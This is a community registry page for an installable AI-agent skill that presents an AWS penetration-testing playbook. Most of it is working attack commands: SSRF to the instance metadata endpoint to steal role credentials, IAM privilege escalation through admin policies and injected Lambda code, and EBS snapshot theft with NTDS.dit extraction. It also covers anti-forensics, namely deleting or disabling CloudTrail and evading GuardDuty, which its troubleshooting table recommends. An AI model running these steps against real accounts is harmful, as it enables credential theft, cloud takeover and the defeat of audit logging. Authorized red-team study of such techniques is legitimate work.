zebbern/claude-code-guide/aws-penetration-testing

Name: aws-penetration-testing
Author: zebbern

Trust tier 2

community

LLM review pending

Source check pending

Checking that the SKILL.md file is still in the repository.

This skill should be used when the user asks to "pentest AWS", "test AWS security", "enumerate IAM", "exploit cloud infrastructure", "AWS privilege escalation", "S3 bucket testing", "metadata SSRF", "Lambda exploitation", or needs guidance on Amazon Web Services security assessment.

Install

npx vskill@latest install zebbern/claude-code-guide/aws-penetration-testing

SKILL.md

AWS Penetration Testing

Purpose

Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.

Inputs/Prerequisites

AWS CLI configured with credentials
Valid AWS credentials (even low-privilege)
Understanding of AWS IAM model
Python 3, boto3 library
Tools: Pacu, Prowler, ScoutSuite, SkyArk

Outputs/Deliverables

IAM privilege escalation paths
Extracted credentials and secrets
Compromised EC2/Lambda/S3 resources
Persistence mechanisms
Security audit findings

Essential Tools

Tool	Purpose	Installation
Pacu	AWS exploitation framework	`git clone https://github.com/RhinoSecurityLabs/pacu`
SkyArk	Shadow Admin discovery	`Import-Module .\SkyArk.ps1`
Prowler	Security auditing	`pip install prowler`
ScoutSuite	Multi-cloud auditing	`pip install scoutsuite`
enumerate-iam	Permission enumeration	`git clone https://github.com/andresriancho/enumerate-iam`
Principal Mapper	IAM analysis	`pip install principalmapper`

Core Workflow

Step 1: Initial Enumeration

Identify the compromised identity and permissions:

bash

# Check current identity
aws sts get-caller-identity
 
# Configure profile
aws configure --profile compromised
 
# List access keys
aws iam list-access-keys
 
# Enumerate permissions
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...

Step 2: IAM Enumeration

bash

# List all users
aws iam list-users
 
# List groups for user
aws iam list-groups-for-user --user-name TARGET_USER
 
# List attached policies
aws iam list-attached-user-policies --user-name TARGET_USER
 
# List inline policies
aws iam list-user-policies --user-name TARGET_USER
 
# Get policy details
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1
 
# List roles
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME

Step 3: Metadata SSRF (EC2)

Exploit SSRF to access metadata endpoint (IMDSv1):

bash

# Access metadata endpoint
http://169.254.169.254/latest/meta-data/
 
# Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/
 
# Extract temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
 
# Response contains:
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2019-08-01T05:20:30Z"
}

For IMDSv2 (token required):

bash

# Get token first
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  "http://169.254.169.254/latest/api/token")
 
# Use token for requests
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Fargate Container Credentials:

bash

# Read environment for credential path
/proc/self/environ
# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...
 
# Access credentials
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH

Privilege Escalation Techniques

Shadow Admin Permissions

These permissions are equivalent to administrator:

Permission	Exploitation
`iam:CreateAccessKey`	Create keys for admin user
`iam:CreateLoginProfile`	Set password for any user
`iam:AttachUserPolicy`	Attach admin policy to self
`iam:PutUserPolicy`	Add inline admin policy
`iam:AddUserToGroup`	Add self to admin group
`iam:PassRole` + `ec2:RunInstances`	Launch EC2 with admin role
`lambda:UpdateFunctionCode`	Inject code into Lambda

Create Access Key for Another User

bash

aws iam create-access-key --user-name target_user

Attach Admin Policy

bash

aws iam attach-user-policy --user-name my_username \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Add Inline Admin Policy

bash

aws iam put-user-policy --user-name my_username \
  --policy-name admin_policy \
  --policy-document file://admin-policy.json

Lambda Privilege Escalation

python

# code.py - Inject into Lambda function
import boto3
def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(
        UserName='my_username',
        PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
    )
    return response

bash

# Update Lambda code
aws lambda update-function-code --function-name target_function \
  --zip-file fileb://malicious.zip

S3 Bucket Exploitation

Bucket Discovery

bash

# Using bucket_finder
./bucket_finder.rb wordlist.txt
./bucket_finder.rb --download --region us-east-1 wordlist.txt
 
# Common bucket URL patterns
https://{bucket-name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket-name}

Bucket Enumeration

bash

# List buckets (with creds)
aws s3 ls
 
# List bucket contents
aws s3 ls s3://bucket-name --recursive
 
# Download all files
aws s3 sync s3://bucket-name ./local-folder

Public Bucket Search

https://buckets.grayhatwarfare.com/

Lambda Exploitation

bash

# List Lambda functions
aws lambda list-functions
 
# Get function code
aws lambda get-function --function-name FUNCTION_NAME
# Download URL provided in response
 
# Invoke function
aws lambda invoke --function-name FUNCTION_NAME output.txt

SSM Command Execution

Systems Manager allows command execution on EC2 instances:

bash

# List managed instances
aws ssm describe-instance-information
 
# Execute command
aws ssm send-command --instance-ids "i-0123456789" \
  --document-name "AWS-RunShellScript" \
  --parameters commands="whoami"
 
# Get command output
aws ssm list-command-invocations --command-id "CMD-ID" \
  --details --query "CommandInvocations[].CommandPlugins[].Output"

EC2 Exploitation

Mount EBS Volume

bash

# Create snapshot of target volume
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"
 
# Create volume from snapshot
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a
 
# Attach to attacker instance
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf
 
# Mount and access
sudo mkdir /mnt/stolen
sudo mount /dev/xvdf1 /mnt/stolen

Shadow Copy Attack (Windows DC)

bash

# CloudCopy technique
# 1. Create snapshot of DC volume
# 2. Share snapshot with attacker account
# 3. Mount in attacker instance
# 4. Extract NTDS.dit and SYSTEM
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local

Console Access from API Keys

Convert CLI credentials to console access:

bash

git clone https://github.com/NetSPI/aws_consoler
aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY
 
# Generates signin URL for console access

Covering Tracks

Disable CloudTrail

bash

# Delete trail
aws cloudtrail delete-trail --name trail_name
 
# Disable global events
aws cloudtrail update-trail --name trail_name \
  --no-include-global-service-events
 
# Disable specific region
aws cloudtrail update-trail --name trail_name \
  --no-include-global-service-events --no-is-multi-region-trail

Note: Kali/Parrot/Pentoo Linux triggers GuardDuty alerts based on user-agent. Use Pacu which modifies the user-agent.

Quick Reference

Task	Command
Get identity	`aws sts get-caller-identity`
List users	`aws iam list-users`
List roles	`aws iam list-roles`
List buckets	`aws s3 ls`
List EC2	`aws ec2 describe-instances`
List Lambda	`aws lambda list-functions`
Get metadata	`curl http://169.254.169.254/latest/meta-data/`

Constraints

Must:

Obtain written authorization before testing
Document all actions for audit trail
Test in scope resources only

Must Not:

Modify production data without approval
Leave persistent backdoors without documentation
Disable security controls permanently

Should:

Check for IMDSv2 before attempting metadata attacks
Enumerate thoroughly before exploitation
Clean up test resources after engagement

Examples

Example 1: SSRF to Admin

bash

# 1. Find SSRF vulnerability in web app
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
 
# 2. Get role name from response
# 3. Extract credentials
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
 
# 4. Configure AWS CLI with stolen creds
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
 
# 5. Verify access
aws sts get-caller-identity

Troubleshooting

Issue	Solution
Access Denied on all commands	Enumerate permissions with enumerate-iam
Metadata endpoint blocked	Check for IMDSv2, try container metadata
GuardDuty alerts	Use Pacu with custom user-agent
Expired credentials	Re-fetch from metadata (temp creds rotate)
CloudTrail logging actions	Consider disable or log obfuscation

Additional Resources

For advanced techniques including Lambda/API Gateway exploitation, Secrets Manager & KMS, Container security (ECS/EKS/ECR), RDS/DynamoDB exploitation, VPC lateral movement, and security checklists, see references/advanced-aws-pentesting.md.

Security

Security scanPassed, 100 of 100Pattern checks on the skill's files.
Model reviewNot runA model review is scheduled for the next rescan.

See the full security report

Quality evaluation

Task evaluationWarning, 83 of 100Marginal. 1 run. Evaluated 7 months ago.

See evaluation results

Source

SKILL.md in the repositoryCheckingskills/aws-penetration-testing/SKILL.md

Popularity

Repository stars: 3,572
Repository forks: 333
7-day trend score: 41

Stars and forks are for the whole GitHub repository, not this skill alone. Refreshed 16 Mar 2026, 7 months ago.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

Claude Code
Cursor
GitHub Copilot
Windsurf
Codex
Gemini CLI
Cline
Amp
Roo Code
Goose
Continue
Kilo Code
Junie
Trae
OpenHands
Qwen Code
AI Agent
Tabnine Chat
Sourcegraph Cody
Amazon Q
Firebase Genkit
Sweep
Devin
Phind
Mentat
Claude Desktop
Aider
GPT Pilot
Plandex
bolt.new
v0
Replit Agent
Anse
TypingMind
BetterChatGPT
LibreChat
Warp AI
Pieces
Fig AI

Embed badge

[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/zebbern/claude-code-guide/aws-penetration-testing/badge)](https://verified-skill.com/skills/zebbern/claude-code-guide/aws-penetration-testing)

Something wrong with this skill or its page? Tell us.